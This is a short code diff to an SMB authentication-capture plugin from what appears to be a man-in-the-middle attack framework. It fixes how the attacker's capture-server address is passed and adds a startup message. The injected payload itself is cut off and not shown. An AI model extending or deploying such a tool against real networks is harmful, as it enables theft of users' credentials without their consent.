diff --git a/plugins/SMBAuth.py b/plugins/SMBAuth.py index 1f63a40..13aeab3 100644 --- a/plugins/SMBAuth.py +++ b/plugins/SMBAuth.py @@ -8,11 +8,12 @@ class SMBAuth(Inject,Plugin): def initialize(self,options): Inject.initialize(self,options) - self.target_ip = options.ip + self.target_ip = options.host self.html_payload = self._get_data() + print "[*] SMBAuth plugin online" def add_options(self,options): - options.add_argument("--host", action="store_true", help="The ip address of your capture server") + options.add_argument("--host", type=str, help="The ip address of your capture server") def _get_data(self): return ''\